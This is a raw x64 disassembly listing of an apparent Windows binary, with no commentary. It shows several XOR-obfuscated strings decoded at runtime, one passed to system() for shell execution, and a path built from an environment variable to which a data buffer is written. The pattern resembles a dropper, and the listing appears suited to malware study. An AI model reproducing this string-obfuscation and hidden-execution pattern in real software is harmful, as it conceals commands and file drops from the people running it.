lea rdx, [0x14006ce20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x178]
call fcn.1400668e0
test rax, rax
jne 0x14005f57d
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x170]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movdqa xmm1, xmmword [0x140131840]
movdqu xmmword [rsp + 0x30], xmm1
mov cl, reloc.WS2_32.dll_listen
mov r8b, reloc.WLDAP32.dll_Ordinal_30
mov r9b, reloc.WLDAP32.dll_Ordinal_22
mov r10b, 0x55
movzx r11d, r8b
mov bl, 3
movzx edi, r8b
mov sil, 0x5b
mov r14b, 0x54
mov r15b, Ordinal_30
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], dl
xor byte [rsp + 0x33], dl
xor byte [rsp + 0x34], dl
xor byte [rsp + 0x35], dl
xor byte [rsp + 0x36], dl
xor byte [rsp + 0x37], dl
xor byte [rsp + 0x38], dl
xor byte [rsp + 0x39], dl
xor byte [rsp + 0x3a], dl
xor byte [rsp + 0x3b], dl
xor byte [rsp + 0x3c], dl
xor byte [rsp + 0x3d], dl
xor byte [rsp + 0x3e], dl
xor byte [rsp + 0x3f], dl
xor cl, dl
mov byte [rsp + 0x40], cl
xor r8b, dl
mov byte [rsp + 0x41], r8b
xor r9b, dl
mov byte [rsp + 0x42], r9b
xor r10b, dl
mov byte [rsp + 0x43], r10b
xor r11b, dl
mov byte [rsp + 0x44], r11b
xor bl, dl
mov byte [rsp + 0x45], bl
xor dil, dl
mov byte [rsp + 0x46], dil
xor sil, dl
mov byte [rsp + 0x47], sil
xor r14b, dl
mov byte [rsp + 0x48], r14b
xor r15b, dl
mov byte [rsp + 0x49], r15b
mov byte [rsp + 0x4a], 0
lea rcx, [rsp + 0x31]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x140131c10]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x56
mov r8b, 0x7a
movzx r9d, dl
mov r10b, 0x4a
mov r11b, 0x53
mov bl, 0x41
mov dil, reloc.WLDAP32.dll_Ordinal_79
mov sil, 0x48
mov r14b, 0x55
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
xor bl, cl
mov byte [rsp + 0x45], bl
xor dil, cl
mov byte [rsp + 0x46], dil
xor sil, cl
mov byte [rsp + 0x47], sil
xor r14b, cl
mov byte [rsp + 0x48], r14b
mov byte [rsp + 0x49], 0
mov byte [rsp + 0x50], 0x61
mov al, reloc.WLDAP32.dll_Ordinal_45
mov cl, reloc.WLDAP32.dll_Ordinal_46
mov dl, Ordinal_35
mov r8b, reloc.WLDAP32.dll_Ordinal_32
movzx r9d, al
movzx r10d, r8b
mov r11b, Ordinal_50
movzx ebx, r11b
mov dil, 0x25
movzx esi, r8b
mov r14b, 0x35
movzx r15d, r8b
xor r12d, r12d
xor al, 0x61
mov byte [rsp + 0x51], al
xor cl, 0x61
mov byte [rsp + 0x52], cl
xor dl, 0x61
mov byte [rsp + 0x53], dl
xor r8b, 0x61
mov byte [rsp + 0x54], r8b
xor r9b, 0x61
mov byte [rsp + 0x55], r9b
xor r10b, 0x61
mov byte [rsp + 0x56], r10b
xor r11b, 0x61
mov byte [rsp + 0x57], r11b
xor bl, 0x61
mov byte [rsp + 0x58], bl
xor dil, 0x61
mov byte [rsp + 0x59], dil
xor sil, 0x61
mov byte [rsp + 0x5a], sil
xor r14b, 0x61
mov byte [rsp + 0x5b], r14b
xor r15b, 0x61
mov byte [rsp + 0x5c], r15b
mov byte [rsp + 0x5d], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor r15d, r15d
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
lea rax, [rsp + 0x51]
mov r8, r13
inc r8
cmp byte [rax + r8], r12b
jne 0x14005f7c4
lea rdx, [rsp + 0x51]
lea rcx, [rbp - 0x30]
call fcn.14004e1e0
lea rax, [rbp - 0x30]
mov qword [rbp + 0x830], rax
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rcx, qword [rbp - 0x30]
mov r8d, 0x104
lea rdx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
dec eax
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
cmp eax, 0x102
ja 0x14005f84c
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
lea rax, [rbp + 0x280]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14005f830
lea rdx, [rbp + 0x280]
lea rcx, [rbp]
call fcn.14004e1e0
jmp 0x14005f85d
movdqa xmm1, xmmword [0x140131460]
movdqu xmmword [rbp + 0x10], xmm1
mov byte [rbp], 0
lea rcx, [rbp - 0x30]
call fcn.140046b40
nop
lea rax, [rsp + 0x31]
nop dword [rax]
inc r13
cmp byte [rax + r13], 0
jne 0x14005f870
mov r8, r13
lea rdx, [rsp + 0x31]
lea rcx, [rbp]
call fcn.140067620
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp]
call fcn.140046b40
mov byte [rsp + 0x50], WSAGetLastError
mov al, 0x37
mov cl, reloc.WS2_32.dll_ntohs
mov dl, 0x58
movzx r8d, cl
mov r9b, 0x5a
mov r10b, 0x5b
mov r11b, 0x45
movzx ebx, cl
mov dil, 7
movzx esi, dil
xor r14d, r14d
xor al, 0x6b
mov byte [rsp + 0x51], al
xor cl, 0x6b
mov byte [rsp + 0x52], cl
xor dl, 0x6b
mov byte [rsp + 0x53], dl
xor r8b, 0x6b
mov byte [rsp + 0x54], r8b
xor r9b, 0x6b
mov byte [rsp + 0x55], r9b
xor r10b, 0x6b
mov byte [rsp + 0x56], r10b
xor r11b, 0x6b
mov byte [rsp + 0x57], r11b
xor bl, 0x6b
mov byte [rsp + 0x58], bl
xor dil, 0x6b
mov byte [rsp + 0x59], dil
xor sil, 0x6b
mov byte [rsp + 0x5a], sil
mov byte [rsp + 0x5b], r14b
lea r8, [rsp + 0x51]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14006c640
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14005f94b
mov rax, qword [rax]
mov r8d, Ordinal_35
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140062d20
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], rbx
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5c], edx
lea rcx, [rsp + 0x30]
call fcn.140046b40
cmp qword [rbp + 0xe8], 0
jne 0x14005fa85
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x60], rbx
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5c], edx
lea rcx, [rbp + 0x68]
call fcn.140063980
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14005fa17
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fa11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005fc05
call fcn.1400952ac
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], rbx
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x178]
call fcn.140063980
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x218]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x50]
call fcn.140067250
movzx edx, byte [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.140066c10
nop
jmp 0x14005fc7b
mov r8, qword [0x14099d200]
mov rdx, qword [0x14099d1f8]
sub r8, rdx
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x68]
call fcn.1400668e0
test rax, rax
jne 0x14005faca
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movdqa xmm1, xmmword [0x140131c00]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x46
mov r8b, Ordinal_79
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
mov byte [rsp + 0x42], 0
mov rcx, r15
lea rdx, [0x1409d4430]
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x31]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005fb50
lea rax, [0x14012959c]
mov qword [0x1409d4428], rax
mov dword [0x1409d4ac8], r15d
mov dword [0x1409d4b18], 0
mov dword [0x1409d4b1c], 0x43160000
mov dword [0x1409d4b14], 0
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x60], rbx
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5c], edx
lea rcx, [rbp + 0x68]
call fcn.140063980
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14005fc12
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005fc0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005fc0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400952ac
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], rbx
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x178]
call fcn.140063980
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x218]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x50]
call fcn.140067250
movzx edx, byte [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.140066c10
nop
mov rbx, qword [rsp + 0x940]
add rsp, 0x8f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret